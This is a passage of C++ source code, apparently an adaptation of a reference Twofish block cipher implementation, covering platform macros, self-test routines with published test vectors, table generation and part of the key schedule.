* Used to convert to little-endian on big-endian machines.
* This macro is always tested, but only used in the encryption and
* decryption if CONVERT_USING_CASTS, and CPU_IS_BIG_ENDIAN
* are both set. In other words: this macro is only speed-critical if
* both these flags have been set.
*
* This default definition of SWAP works, but on many platforms there is a
* more efficient implementation.
*/
#define BSWAP(x) (ROL32((x),8)&0x00ff00ff | ROR32((x),8) & 0xff00ff00)
/*
* END OF PLATFORM FIXES
* =====================
*
* You should not have to touch the rest of this file.
*/
/*
* Convert the external type names to some that are easier to use inside
* this file. I didn't want to use the names Byte and UInt32 in the
* header file, because many programs already define them and using two
* conventions at once can be very difficult.
* Don't change these definitions! Change the originals
* in twofish.h instead.
*/
/* A Byte must be an unsigned integer, 8 bits long. */
// typedef Twofish_Byte Byte;
/* A UInt32 must be an unsigned integer at least 32 bits long. */
// typedef Twofish_UInt32 UInt32;
/*
* Define a macro ENDIAN_CONVERT.
*
* We define a macro ENDIAN_CONVERT that performs a BSWAP on big-endian
* machines, and is the identity function on little-endian machines.
* The code then uses this macro without considering the endianness.
*/
#if CPU_IS_BIG_ENDIAN
#define ENDIAN_CONVERT(x) BSWAP(x)
#else
#define ENDIAN_CONVERT(x) (x)
#endif
/*
* Compute byte offset within a UInt32 stored in memory.
*
* This is only used when SELECT_BYTE_FROM_UINT32_IN_MEMORY is set.
*
* The input is the byte number 0..3, 0 for least significant.
* Note the use of sizeof() to support UInt32 types that are larger
* than 4 bytes.
*/
#if CPU_IS_BIG_ENDIAN
#define BYTE_OFFSET( n ) (sizeof(Twofish_UInt32) - 1 - (n) )
#else
#define BYTE_OFFSET( n ) (n)
#endif
/*
* Macro to get Byte no. b from UInt32 value X.
* We use two different definition, depending on the settings.
*/
#if SELECT_BYTE_FROM_UINT32_IN_MEMORY
/* Pick the byte from the memory in which X is stored. */
#define SELECT_BYTE( X, b ) (((Twofish_Byte *)(&(X)))[BYTE_OFFSET(b)])
#else
/* Portable solution: Pick the byte directly from the X value. */
#define SELECT_BYTE( X, b ) (((X) >> (8*(b))) & 0xff)
#endif
/* Some shorthands because we use byte selection in large formulae. */
#define b0(X) SELECT_BYTE((X),0)
#define b1(X) SELECT_BYTE((X),1)
#define b2(X) SELECT_BYTE((X),2)
#define b3(X) SELECT_BYTE((X),3)
/*
* We need macros to load and store UInt32 from/to byte arrays
* using the least-significant-byte-first convention.
*
* GET32( p ) gets a UInt32 in lsb-first form from four bytes pointed to
* by p.
* PUT32( v, p ) writes the UInt32 value v at address p in lsb-first form.
*/
#if CONVERT_USING_CASTS
/* Get UInt32 from four bytes pointed to by p. */
#define GET32( p ) ENDIAN_CONVERT( *((Twofish_UInt32 *)(p)) )
/* Put UInt32 into four bytes pointed to by p */
#define PUT32( v, p ) *((Twofish_UInt32 *)(p)) = ENDIAN_CONVERT(v)
#else
/* Get UInt32 from four bytes pointed to by p. */
#define GET32( p ) ((Twofish_UInt32)((p)[0]) | \
(Twofish_UInt32)((p)[1])<< 8 | \
(Twofish_UInt32)((p)[2])<<16 | \
(Twofish_UInt32)((p)[3])<<24)
/* Put UInt32 into four bytes pointed to by p */
#define PUT32( v, p ) \
(p)[0] = (Twofish_Byte)(((v) ) & 0xff); \
(p)[1] = (Twofish_Byte)(((v) >> 8) & 0xff); \
(p)[2] = (Twofish_Byte)(((v) >> 16) & 0xff); \
(p)[3] = (Twofish_Byte)(((v) >> 24) & 0xff)
#endif
/*
* Test the platform-specific macros.
* This function tests the macros defined so far to make sure the
* definitions are appropriate for this platform.
* If you make any mistake in the platform configuration, this should detect
* that and inform you what went wrong.
* Somewhere, someday, this is going to save somebody a lot of time,
* because misbehaving macros are hard to debug.
*/
static void test_platform()
{
/* Buffer with test values. */
Twofish_Byte buf[] = {0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0};
Twofish_UInt32 C;
Twofish_UInt32 x,y;
int i;
/*
* Some sanity checks on the types that can't be done in compile time.
* A smart compiler will just optimise these tests away.
* The pre-processor doesn't understand different types, so we cannot
* do these checks in compile-time.
*
* I hate C.
*
* The first check in each case is to make sure the size is correct.
* The second check is to ensure that it is an unsigned type.
*/
assert(!( ((Twofish_UInt32)((Twofish_UInt32)1 << 31) == 0) || ((Twofish_UInt32)-1 < 0 )));
assert(!( (sizeof( Twofish_Byte ) != 1) || (((Twofish_Byte)-1) < 0) ));
/*
* Sanity-check the endianness conversions.
* This is just an aid to find problems. If you do the endianness
* conversion macros wrong you will fail the full cipher test,
* but that does not help you find the error.
* Always make it easy to find the bugs!
*
* Detail: There is no fully portable way of writing UInt32 constants,
* as you don't know whether to use the U or UL suffix. Using only U you
* might only be allowed 16-bit constants. Using UL you might get 64-bit
* constants which cannot be stored in a UInt32 without warnings, and
* which generally behave subtly different from a true UInt32.
* As long as we're just comparing with the constant,
* we can always use the UL suffix and at worst lose some efficiency.
* I use a separate '32-bit constant' macro in most of my other code.
*
* I hate C.
*
* Start with testing GET32. We test it on all positions modulo 4
* to make sure we can handly any position of inputs. (Some CPUs
* do not allow non-aligned accesses which we would do if you used
* the CONVERT_USING_CASTS option.
*/
if( (GET32( buf ) != 0x78563412UL) || (GET32(buf+1) != 0x9a785634UL)
|| (GET32( buf+2 ) != 0xbc9a7856UL) || (GET32(buf+3) != 0xdebc9a78UL) )
{
Twofish_fatal( "Twofish code: GET32 not implemented properly" );
}
/*
* We can now use GET32 to test PUT32.
* We don't test the shifted versions. If GET32 can do that then
* so should PUT32.
*/
C = GET32( buf );
PUT32( 3*C, buf );
if( GET32( buf ) != 0x69029c36UL )
{
Twofish_fatal( "Twofish code: PUT32 not implemented properly" );
}
/* Test ROL and ROR */
for( i=1; i<32; i++ )
{
/* Just a simple test. */
x = ROR32( C, i );
y = ROL32( C, i );
x ^= (C>>i) ^ (C<<(32-i));
y ^= (C<<i) ^ (C>>(32-i));
x |= y;
/*
* Now all we check is that x is zero in the least significant
* 32 bits. Using the UL suffix is safe here, as it doesn't matter
* if we get a larger type.
*/
if( (x & 0xffffffffUL) != 0 )
{
Twofish_fatal( "Twofish ROL or ROR not properly defined." );
}
}
/* Test the BSWAP macro */
if( BSWAP(C) != 0x12345678UL )
{
/*
* The BSWAP macro should always work, even if you are not using it.
* A smart optimising compiler will just remove this entire test.
*/
Twofish_fatal( "BSWAP not properly defined." );
}
/* And we can test the b<i> macros which use SELECT_BYTE. */
if( (b0(C)!=0x12) || (b1(C) != 0x34) || (b2(C) != 0x56) || (b3(C) != 0x78) )
{
/*
* There are many reasons why this could fail.
* Most likely is that CPU_IS_BIG_ENDIAN has the wrong value.
*/
Twofish_fatal( "Twofish code: SELECT_BYTE not implemented properly" );
}
}
/*
* Finally, we can start on the Twofish-related code.
* You really need the Twofish specifications to understand this code. The
* best source is the Twofish book:
* "The Twofish Encryption Algorithm", by Bruce Schneier, John Kelsey,
* Doug Whiting, David Wagner, Chris Hall, and Niels Ferguson.
* you can also use the AES submission document of Twofish, which is
* available from my list of publications on my personal web site at
* http://niels.ferguson.net/.
*
* The first thing we do is write the testing routines. This is what the
* implementation has to satisfy in the end. We only test the external
* behaviour of the implementation of course.
*/
/*
* Perform a single self test on a (plaintext,ciphertext,key) triple.
* Arguments:
* key array of key bytes
* key_len length of key in bytes
* p plaintext
* c ciphertext
*/
void Twofish::test_vector( Twofish_Byte key[], int key_len, Twofish_Byte p[16], Twofish_Byte c[16] )
{
Twofish_Byte tmp[16]; /* scratch pad. */
TwofishKey xkey; /* The expanded key */
int i;
/* Prepare the key */
PrepareKey( key, key_len, &xkey );
/*
* We run the test twice to ensure that the xkey structure
* is not damaged by the first encryption.
* Those are hideous bugs to find if you get them in an application.
*/
for( i=0; i<2; i++ )
{
/* Encrypt and test */
Encrypt( &xkey, p, tmp );
if( memcmp( c, tmp, 16 ) != 0 )
{
Twofish_fatal( "Twofish encryption failure" );
}
/* Decrypt and test */
Decrypt( &xkey, c, tmp );
if( memcmp( p, tmp, 16 ) != 0 )
{
Twofish_fatal( "Twofish decryption failure" );
}
}
/* The test keys are not secret, so we don't need to wipe xkey. */
}
/*
* Check implementation using three (key,plaintext,ciphertext)
* test vectors, one for each major key length.
*
* This is an absolutely minimal self-test.
* This routine does not test odd-sized keys.
*/
void Twofish::test_vectors()
{
/*
* We run three tests, one for each major key length.
* These test vectors come from the Twofish specification.
* One encryption and one decryption using randomish data and key
* will detect almost any error, especially since we generate the
* tables ourselves, so we don't have the problem of a single
* damaged table entry in the source.
*/
/* 128-bit test is the I=3 case of section B.2 of the Twofish book. */
static Twofish_Byte k128[] = {
0x9F, 0x58, 0x9F, 0x5C, 0xF6, 0x12, 0x2C, 0x32,
0xB6, 0xBF, 0xEC, 0x2F, 0x2A, 0xE8, 0xC3, 0x5A,
};
static Twofish_Byte p128[] = {
0xD4, 0x91, 0xDB, 0x16, 0xE7, 0xB1, 0xC3, 0x9E,
0x86, 0xCB, 0x08, 0x6B, 0x78, 0x9F, 0x54, 0x19
};
static Twofish_Byte c128[] = {
0x01, 0x9F, 0x98, 0x09, 0xDE, 0x17, 0x11, 0x85,
0x8F, 0xAA, 0xC3, 0xA3, 0xBA, 0x20, 0xFB, 0xC3
};
/* 192-bit test is the I=4 case of section B.2 of the Twofish book. */
static Twofish_Byte k192[] = {
0x88, 0xB2, 0xB2, 0x70, 0x6B, 0x10, 0x5E, 0x36,
0xB4, 0x46, 0xBB, 0x6D, 0x73, 0x1A, 0x1E, 0x88,
0xEF, 0xA7, 0x1F, 0x78, 0x89, 0x65, 0xBD, 0x44
};
static Twofish_Byte p192[] = {
0x39, 0xDA, 0x69, 0xD6, 0xBA, 0x49, 0x97, 0xD5,
0x85, 0xB6, 0xDC, 0x07, 0x3C, 0xA3, 0x41, 0xB2
};
static Twofish_Byte c192[] = {
0x18, 0x2B, 0x02, 0xD8, 0x14, 0x97, 0xEA, 0x45,
0xF9, 0xDA, 0xAC, 0xDC, 0x29, 0x19, 0x3A, 0x65
};
/* 256-bit test is the I=4 case of section B.2 of the Twofish book. */
static Twofish_Byte k256[] = {
0xD4, 0x3B, 0xB7, 0x55, 0x6E, 0xA3, 0x2E, 0x46,
0xF2, 0xA2, 0x82, 0xB7, 0xD4, 0x5B, 0x4E, 0x0D,
0x57, 0xFF, 0x73, 0x9D, 0x4D, 0xC9, 0x2C, 0x1B,
0xD7, 0xFC, 0x01, 0x70, 0x0C, 0xC8, 0x21, 0x6F
};
static Twofish_Byte p256[] = {
0x90, 0xAF, 0xE9, 0x1B, 0xB2, 0x88, 0x54, 0x4F,
0x2C, 0x32, 0xDC, 0x23, 0x9B, 0x26, 0x35, 0xE6
};
static Twofish_Byte c256[] = {
0x6C, 0xB4, 0x56, 0x1C, 0x40, 0xBF, 0x0A, 0x97,
0x05, 0x93, 0x1C, 0xB6, 0xD4, 0x08, 0xE7, 0xFA
};
/* Run the actual tests. */
test_vector( k128, 16, p128, c128 );
test_vector( k192, 24, p192, c192 );
test_vector( k256, 32, p256, c256 );
}
/*
* Perform extensive test for a single key size.
*
* Test a single key size against the test vectors from section
* B.2 in the Twofish book. This is a sequence of 49 encryptions
* and decryptions. Each plaintext is equal to the ciphertext of
* the previous encryption. The key is made up from the ciphertext
* two and three encryptions ago. Both plaintext and key start
* at the zero value.
* We should have designed a cleaner recurrence relation for
* these tests, but it is too late for that now. At least we learned
* how to do it better next time.
* For details see appendix B of the book.
*
* Arguments:
* key_len Number of bytes of key
* final_value Final plaintext value after 49 iterations
*/
void Twofish::test_sequence( int key_len, Twofish_Byte final_value[] )
{
Twofish_Byte buf[ (50+3)*16 ]; /* Buffer to hold our computation values. */
Twofish_Byte tmp[16]; /* Temp for testing the decryption. */
TwofishKey xkey; /* The expanded key */
int i;
Twofish_Byte * p;
/* Wipe the buffer */
memset( buf, 0, sizeof( buf ) );
/*
* Because the recurrence relation is done in an inconvenient manner
* we end up looping backwards over the buffer.
*/
/* Pointer in buffer points to current plaintext. */
p = &buf[50*16];
for( i=1; i<50; i++ )
{
/*
* Prepare a key.
* This automatically checks that key_len is valid.
*/
PrepareKey( p+16, key_len, &xkey );
/* Compute the next 16 bytes in the buffer */
Encrypt( &xkey, p, p-16 );
/* Check that the decryption is correct. */
Decrypt( &xkey, p-16, tmp );
if( memcmp( tmp, p, 16 ) != 0 )
{
Twofish_fatal( "Twofish decryption failure in sequence" );
}
/* Move on to next 16 bytes in the buffer. */
p -= 16;
}
/* And check the final value. */
if( memcmp( p, final_value, 16 ) != 0 )
{
Twofish_fatal( "Twofish encryption failure in sequence" );
}
/* None of the data was secret, so there is no need to wipe anything. */
}
/*
* Run all three sequence tests from the Twofish test vectors.
*
* This checks the most extensive test vectors currently available
* for Twofish. The data is from the Twofish book, appendix B.2.
*/
void Twofish::test_sequences()
{
static Twofish_Byte r128[] = {
0x5D, 0x9D, 0x4E, 0xEF, 0xFA, 0x91, 0x51, 0x57,
0x55, 0x24, 0xF1, 0x15, 0x81, 0x5A, 0x12, 0xE0
};
static Twofish_Byte r192[] = {
0xE7, 0x54, 0x49, 0x21, 0x2B, 0xEE, 0xF9, 0xF4,
0xA3, 0x90, 0xBD, 0x86, 0x0A, 0x64, 0x09, 0x41
};
static Twofish_Byte r256[] = {
0x37, 0xFE, 0x26, 0xFF, 0x1C, 0xF6, 0x61, 0x75,
0xF5, 0xDD, 0xF4, 0xC3, 0x3B, 0x97, 0xA2, 0x05
};
/* Run the three sequence test vectors */
test_sequence( 16, r128 );
test_sequence( 24, r192 );
test_sequence( 32, r256 );
}
/*
* Test the odd-sized keys.
*
* Every odd-sized key is equivalent to a one of 128, 192, or 256 bits.
* The equivalent key is found by padding at the end with zero bytes
* until a regular key size is reached.
*
* We just test that the key expansion routine behaves properly.
* If the expanded keys are identical, then the encryptions and decryptions
* will behave the same.
*/
void Twofish::test_odd_sized_keys()
{
Twofish_Byte buf[32];
TwofishKey xkey;
TwofishKey xkey_two;
int i;
/*
* We first create an all-zero key to use as PRNG key.
* Normally we would not have to fill the buffer with zeroes, as we could
* just pass a zero key length to the Twofish_prepare_key function.
* However, this relies on using odd-sized keys, and those are just the
* ones we are testing here. We can't use an untested function to test
* itself.
*/
memset( buf, 0, sizeof( buf ) );
PrepareKey( buf, 16, &xkey );
/* Fill buffer with pseudo-random data derived from two encryptions */
Encrypt( &xkey, buf, buf );
Encrypt( &xkey, buf, buf+16 );
/* Create all possible shorter keys that are prefixes of the buffer. */
for( i=31; i>=0; i-- )
{
/* Set a byte to zero. This is the new padding byte */
buf[i] = 0;
/* Expand the key with only i bytes of length */
PrepareKey( buf, i, &xkey );
/* Expand the corresponding padded key of regular length */
PrepareKey( buf, i<=16 ? 16 : (i<= 24 ? 24 : 32), &xkey_two );
/* Compare the two */
if( memcmp( &xkey, &xkey_two, sizeof( xkey ) ) != 0 )
{
Twofish_fatal( "Odd sized keys do not expand properly" );
}
}
/* None of the key values are secret, so we don't need to wipe them. */
}
/*
* Test the Twofish implementation.
*
* This routine runs all the self tests, in order of importance.
* It is called by the Twofish_initialise routine.
*
* In almost all applications the cost of running the self tests during
* initialisation is insignificant, especially
* compared to the time it takes to load the application from disk.
* If you are very pressed for initialisation performance,
* you could remove some of the tests. Make sure you did run them
* once in the software and hardware configuration you are using.
*/
void Twofish::self_test()
{
/* The three test vectors form an absolute minimal test set. */
test_vectors();
/*
* If at all possible you should run these tests too. They take
* more time, but provide a more thorough coverage.
*/
test_sequences();
/* Test the odd-sized keys. */
test_odd_sized_keys();
}
/*
* And now, the actual Twofish implementation.
*
* This implementation generates all the tables during initialisation.
* I don't like large tables in the code, especially since they are easily
* damaged in the source without anyone noticing it. You need code to
* generate them anyway, and this way all the code is close together.
* Generating them in the application leads to a smaller executable
* (the code is smaller than the tables it generates) and a
* larger static memory footprint.
*
* Twofish can be implemented in many ways. I have chosen to
* use large tables with a relatively long key setup time.
* If you encrypt more than a few blocks of data it pays to pre-compute
* as much as possible. This implementation is relatively inefficient for
* applications that need to re-key every block or so.
*/
/*
* We start with the t-tables, directly from the Twofish definition.
* These are nibble-tables, but merging them and putting them two nibbles
* in one byte is more work than it is worth.
*/
static const Twofish_Byte t_table[2][4][16] = {
{
{0x8,0x1,0x7,0xD,0x6,0xF,0x3,0x2,0x0,0xB,0x5,0x9,0xE,0xC,0xA,0x4},
{0xE,0xC,0xB,0x8,0x1,0x2,0x3,0x5,0xF,0x4,0xA,0x6,0x7,0x0,0x9,0xD},
{0xB,0xA,0x5,0xE,0x6,0xD,0x9,0x0,0xC,0x8,0xF,0x3,0x2,0x4,0x7,0x1},
{0xD,0x7,0xF,0x4,0x1,0x2,0x6,0xE,0x9,0xB,0x3,0x0,0x8,0x5,0xC,0xA}
},
{
{0x2,0x8,0xB,0xD,0xF,0x7,0x6,0xE,0x3,0x1,0x9,0x4,0x0,0xA,0xC,0x5},
{0x1,0xE,0x2,0xB,0x4,0xC,0x3,0x7,0x6,0xD,0xA,0x5,0xF,0x9,0x0,0x8},
{0x4,0xC,0x7,0x5,0x1,0x6,0x9,0xA,0x0,0xE,0xD,0x8,0x2,0xB,0x3,0xF},
{0xB,0x9,0x5,0x1,0xC,0x3,0xD,0xE,0x6,0x4,0x7,0xF,0x2,0x0,0x8,0xA}
}
};
/* A 1-bit rotation of 4-bit values. Input must be in range 0..15 */
#define ROR4BY1( x ) (((x)>>1) | (((x)<<3) & 0x8) )
/*
* Now the function that converts a single t-table into a q-table.
*
* Arguments:
* t[4][16] : four 4->4bit lookup tables that define the q-box
* q[256] : output parameter: the resulting q-box as a lookup table.
*/
static void make_q_table( const Twofish_Byte t[4][16], Qtype q[256] )
{
int ae,be,ao,bo; /* Some temporaries. */
int i;
/* Loop over all input values and compute the q-box result. */
for( i=0; i<256; i++ ) {
/*
* This is straight from the Twofish specifications.
*
* The ae variable is used for the a_i values from the specs
* with even i, and ao for the odd i's. Similarly for the b's.
*/
ae = i>>4; be = i&0xf;
ao = ae ^ be; bo = ae ^ ROR4BY1(be) ^ ((ae<<3)&8);
ae = t[0][ao]; be = t[1][bo];
ao = ae ^ be; bo = ae ^ ROR4BY1(be) ^ ((ae<<3)&8);
ae = t[2][ao]; be = t[3][bo];
/* Store the result in the q-box table, the cast avoids a warning. */
q[i] = (Qtype) ((be<<4) | ae);
}
}
/*
* Initialise both q-box tables.
*/
void Twofish::initialise_q_boxes()
{
/* Initialise each of the q-boxes using the t-tables */
make_q_table( t_table[0], q_table[0] );
make_q_table( t_table[1], q_table[1] );
}
/*
* Next up is the MDS matrix multiplication.
* The MDS matrix multiplication operates in the field
* GF(2)[x]/p(x) with p(x)=x^8+x^6+x^5+x^3+1.
* If you don't understand this, read a book on finite fields. You cannot
* follow the finite-field computations without some background.
*
* In this field, multiplication by x is easy: shift left one bit
* and if bit 8 is set then xor the result with 0x169.
*
* The MDS coefficients use a multiplication by 1/x,
* or rather a division by x. This is easy too: first make the
* value 'even' (i.e. bit 0 is zero) by xorring with 0x169 if necessary,
* and then shift right one position.
* Even easier: shift right and xor with 0xb4 if the lsbit was set.
*
* The MDS coefficients are 1, EF, and 5B, and we use the fact that
* EF = 1 + 1/x + 1/x^2
* 5B = 1 + 1/x^2
* in this field. This makes multiplication by EF and 5B relatively easy.
*
* This property is no accident, the MDS matrix was designed to allow
* this implementation technique to be used.
*
* We have four MDS tables, each mapping 8 bits to 32 bits.
* Each table performs one column of the matrix multiplication.
* As the MDS is always preceded by q-boxes, each of these tables
* also implements the q-box just previous to that column.
*/
/* A small table to get easy conditional access to the 0xb4 constant. */
static const Twofish_UInt32 mds_poly_divx_const[] = {0,0xb4};
/* Function to initialise the MDS tables. */
void Twofish::initialise_mds_tables()
{
int i;
Twofish_UInt32 q,qef,q5b; /* Temporary variables. */
/* Loop over all 8-bit input values */
for( i=0; i<256; i++ )
{
/*
* To save some work during the key expansion we include the last
* of the q-box layers from the h() function in these MDS tables.
*/
/* We first do the inputs that are mapped through the q0 table. */
q = q_table[0][i];
/*
* Here we divide by x, note the table to get 0xb4 only if the
* lsbit is set.
* This sets qef = (1/x)*q in the finite field
*/
qef = (q >> 1) ^ mds_poly_divx_const[ q & 1 ];
/*
* Divide by x again, and add q to get (1+1/x^2)*q.
* Note that (1+1/x^2) = 5B in the field, and addition in the field
* is exclusive or on the bits.
*/
q5b = (qef >> 1) ^ mds_poly_divx_const[ qef & 1 ] ^ q;
/*
* Add q5b to qef to set qef = (1+1/x+1/x^2)*q.
* Again, (1+1/x+1/x^2) = EF in the field.
*/
qef ^= q5b;
/*
* Now that we have q5b = 5B * q and qef = EF * q
* we can fill two of the entries in the MDS matrix table.
* See the Twofish specifications for the order of the constants.
*/
MDS_table[1][i] = (q <<24) | (q5b<<16) | (qef<<8) | qef;
MDS_table[3][i] = (q5b<<24) | (qef<<16) | (q <<8) | q5b;
/* Now we do it all again for the two columns that have a q1 box. */
q = q_table[1][i];
qef = (q >> 1) ^ mds_poly_divx_const[ q & 1 ];
q5b = (qef >> 1) ^ mds_poly_divx_const[ qef & 1 ] ^ q;
qef ^= q5b;
/* The other two columns use the coefficient in a different order. */
MDS_table[0][i] = (qef<<24) | (qef<<16) | (q5b<<8) | q ;
MDS_table[2][i] = (qef<<24) | (q <<16) | (qef<<8) | q5b;
}
}
/*
* The h() function is the heart of the Twofish cipher.
* It is a complicated sequence of q-box lookups, key material xors,
* and finally the MDS matrix.
* We use lots of macros to make this reasonably fast.
*/
/* First a shorthand for the two q-tables */
#define q0 q_table[0]
#define q1 q_table[1]
/*
* Each macro computes one column of the h for either 2, 3, or 4 stages.
* As there are 4 columns, we have 12 macros in all.
*
* The key bytes are stored in the Byte array L at offset
* 0,1,2,3, 8,9,10,11, [16,17,18,19, [24,25,26,27]] as this is the
* order we get the bytes from the user. If you look at the Twofish
* specs, you'll see that h() is applied to the even key words or the
* odd key words. The bytes of the even words appear in this spacing,
* and those of the odd key words too.
*
* These macros are the only place where the q-boxes and the MDS table
* are used.
*/
#define H02( y, L ) MDS_table[0][q0[q0[y]^L[ 8]]^L[0]]
#define H12( y, L ) MDS_table[1][q0[q1[y]^L[ 9]]^L[1]]
#define H22( y, L ) MDS_table[2][q1[q0[y]^L[10]]^L[2]]
#define H32( y, L ) MDS_table[3][q1[q1[y]^L[11]]^L[3]]
#define H03( y, L ) H02( q1[y]^L[16], L )
#define H13( y, L ) H12( q1[y]^L[17], L )
#define H23( y, L ) H22( q0[y]^L[18], L )
#define H33( y, L ) H32( q0[y]^L[19], L )
#define H04( y, L ) H03( q1[y]^L[24], L )
#define H14( y, L ) H13( q0[y]^L[25], L )
#define H24( y, L ) H23( q0[y]^L[26], L )
#define H34( y, L ) H33( q1[y]^L[27], L )
/*
* Now we can define the h() function given an array of key bytes.
* This function is only used in the key schedule, and not to pre-compute
* the keyed S-boxes.
*
* In the key schedule, the input is always of the form k*(1+2^8+2^16+2^24)
* so we only provide k as an argument.
*
* Arguments:
* k input to the h() function.
* L pointer to array of key bytes at
* offsets 0,1,2,3, ... 8,9,10,11, [16,17,18,19, [24,25,26,27]]
* kCycles # key cycles, 2, 3, or 4.
*/
Twofish_UInt32 Twofish::h( int k, Twofish_Byte L[], int kCycles )
{
switch( kCycles ) {
/* We code all 3 cases separately for speed reasons. */
case 2:
return H02(k,L) ^ H12(k,L) ^ H22(k,L) ^ H32(k,L);
case 3:
return H03(k,L) ^ H13(k,L) ^ H23(k,L) ^ H33(k,L);
case 4:
return H04(k,L) ^ H14(k,L) ^ H24(k,L) ^ H34(k,L);
default:
/* This is always a coding error, which is fatal. */
Twofish_fatal( "Twofish h(): Illegal argument" );
return 0;
}
}
/*
* Pre-compute the keyed S-boxes.
* Fill the pre-computed S-box array in the expanded key structure.
* Each pre-computed S-box maps 8 bits to 32 bits.
*
* The S argument contains half the number of bytes of the full key, but is
* derived from the full key. (See Twofish specifications for details.)
* S has the weird byte input order used by the Hxx macros.
*
* This function takes most of the time of a key expansion.
*
* Arguments:
* S pointer to array of 8*kCycles Bytes containing the S vector.
* kCycles number of key words, must be in the set {2,3,4}
* xkey pointer to Twofish_key structure that will contain the S-boxes.
*/
void Twofish::fill_keyed_sboxes( Twofish_Byte S[], int kCycles, TwofishKey * xkey )
{
int i;
switch( kCycles ) {
/* We code all 3 cases separately for speed reasons. */
case 2:
for( i=0; i<256; i++ )
{
xkey->s[0][i]= H02( i, S );
xkey->s[1][i]= H12( i, S );
xkey->s[2][i]= H22( i, S );
xkey->s[3][i]= H32( i, S );
}
break;
case 3:
for( i=0; i<256; i++ )
{
xkey->s[0][i]= H03( i, S );
xkey->s[1][i]= H13( i, S );
xkey->s[2][i]= H23( i, S );
xkey->s[3][i]= H33( i, S );
}
break;
case 4:
for( i=0; i<256; i++ )
{
xkey->s[0][i]= H04( i, S );
xkey->s[1][i]= H14( i, S );
xkey->s[2][i]= H24( i, S );
xkey->s[3][i]= H34( i, S );
}
break;
default:
/* This is always a coding error, which is fatal. */
Twofish_fatal( "Twofish fill_keyed_sboxes(): Illegal argument" );
}
}
/*
* Initialise the Twofish implementation.
* This function must be called before any other function in the
* Twofish implementation is called.
* This routine also does some sanity checks, to make sure that
* all the macros behave, and it tests the whole cipher.
*/
Twofish::Twofish()
{
/* First test the various platform-specific definitions. */
test_platform();
/* We can now generate our tables, in the right order of course. */
initialise_q_boxes();
initialise_mds_tables();
/*
* And run some tests on the whole cipher.
* Yes, you need to do this every time you start your program.
* It is called assurance; you have to be certain that your program
* still works properly.
*/
self_test();
}
/*
* The Twofish key schedule uses an Reed-Solomon code matrix multiply.
* Just like the MDS matrix, the RS-matrix is designed to be easy
* to implement. Details are below in the code.
*
* These constants make it easy to compute in the finite field used
* for the RS code.
*
* We use Bytes for the RS computation, but these are automatically
* widened to unsigned integers in the expressions. Having unsigned
* ints in these tables therefore provides the fastest access.
*/
static unsigned int rs_poly_const[] = { 0, 0x14d };
static unsigned int rs_poly_div_const[] = { 0, 0xa6 };
/*
* Prepare a key for use in encryption and decryption.
* Like most block ciphers, Twofish allows the key schedule
* to be pre-computed given only the key.
* Twofish has a fairly 'heavy' key schedule that takes a lot of time
* to compute. The main work is pre-computing the S-boxes used in the
* encryption and decryption. We feel that this makes the cipher much
* harder to attack. The attacker doesn't even know what the S-boxes
* contain without including the entire key schedule in the analysis.
*
* Unlike most Twofish implementations, this one allows any key size from
* 0 to 32 bytes. Odd key sizes are defined for Twofish (see the
* specifications); the key is simply padded with zeroes to the next real
* key size of 16, 24, or 32 bytes.
* Each odd-sized key is thus equivalent to a single normal-sized key.
*
* Arguments:
* key array of key bytes
* key_len number of bytes in the key, must be in the range 0,...,32.
* xkey Pointer to an Twofish_key structure that will be filled
* with the internal form of the cipher key.
*/
void Twofish::PrepareKey(const Twofish_Byte key[],int key_len,TwofishKey* xkey)
{
/* We use a single array to store all key material in,
* to simplify the wiping of the key material at the end.
* The first 32 bytes contain the actual (padded) cipher key.
* The next 32 bytes contain the S-vector in its weird format,
* and we have 4 bytes of overrun necessary for the RS-reduction.
*/
Twofish_Byte K[32+32+4];
int kCycles; /* # key cycles, 2,3, or 4. */
int i;
Twofish_UInt32 A, B; /* Used to compute the round keys. */
Twofish_Byte * kptr; /* Three pointers for the RS computation. */
Twofish_Byte * sptr;
Twofish_Byte * t;
Twofish_Byte b,bx,bxx; /* Some more temporaries for the RS computation. */
/* Check for valid key length. */
if( key_len < 0 || key_len > 32 )
{
/*
* This can only happen if a programmer didn't read the limitations
* on the key size.
*/
Twofish_fatal( "Twofish_prepare_key: illegal key length" );
/*
* A return statement just in case the fatal macro returns.
* The rest of the code assumes that key_len is in range, and would
* buffer-overflow if it wasn't.
*
* Why do we still use a programming language that has problems like
* buffer overflows, when these problems were solved in 1960 with
* the development of Algol? Have we not leared anything?
*/
return;
}
/* Pad the key with zeroes to the next suitable key length. */
memcpy( K, key, key_len );
memset( K+key_len, 0, sizeof(K)-key_len );
/*
* Compute kCycles: the number of key cycles used in the cipher.
* 2 for 128-bit keys, 3 for 192-bit keys, and 4 for 256-bit keys.
*/
kCycles = (key_len + 7) >> 3;
/* Handle the special case of very short keys: minimum 2 cycles. */
if( kCycles < 2 )
{
kCycles = 2;
}
/*
* From now on we just pretend to have 8*kCycles bytes of
* key material in K. This handles all the key size cases.
*/
/*
* We first compute the 40 expanded key words,
* formulas straight from the Twofish specifications.
*/
for( i=0; i<40; i+=2 )
{
/*
* Due to the byte spacing expected by the h() function
* we can pick the bytes directly from the key K.
* As we use bytes, we never have the little/big endian
* problem.
*
* Note that we apply the rotation function only to simple
* variables, as the rotation macro might evaluate its argument
* more than once.
*/
A = h( i , K , kCycles );
B = h( i+1, K+4, kCycles );
B = ROL32( B, 8 );
/* Compute and store the round keys. */
A += B;
B += A;
xkey->K[i] = A;
xkey->K[i+1] = ROL32( B, 9 );
}
/* Wipe variables that contained key material. */
A=B=0;
/*
* And now the dreaded RS multiplication that few seem to understand.
* The RS matrix is not random, and is specially designed to compute the
* RS matrix multiplication in a simple way.
*
* We work in the field GF(2)[x]/x^8+x^6+x^3+x^2+1. Note that this is a
* different field than used for the MDS matrix.
* (At least, it is a different representation because all GF(2^8)
* representations are equivalent in some form.)
*
* We take 8 consecutive bytes of the key and interpret them as
* a polynomial k_0 + k_1 y + k_2 y^2 + ... + k_7 y^7 where
* the k_i bytes are the key bytes and are elements of the finite field.
* We multiply this polynomial by y^4 and reduce it modulo
* y^4 + (x + 1/x)y^3 + (x)y^2 + (x + 1/x)y + 1.
* using straightforward polynomial modulo reduction.
* The coefficients of the result are the result of the RS
* matrix multiplication. When we wrote the Twofish specification,
* the original RS definition used the polynomials,
* but that requires much more mathematical knowledge.
* We were already using matrix multiplication in a finite field for
* the MDS matrix, so I re-wrote the RS operation as a matrix
* multiplication to reduce the difficulty of understanding it.
* Some implementors have not picked up on this simpler method of
* computing the RS operation, even though it is mentioned in the
* specifications.
*
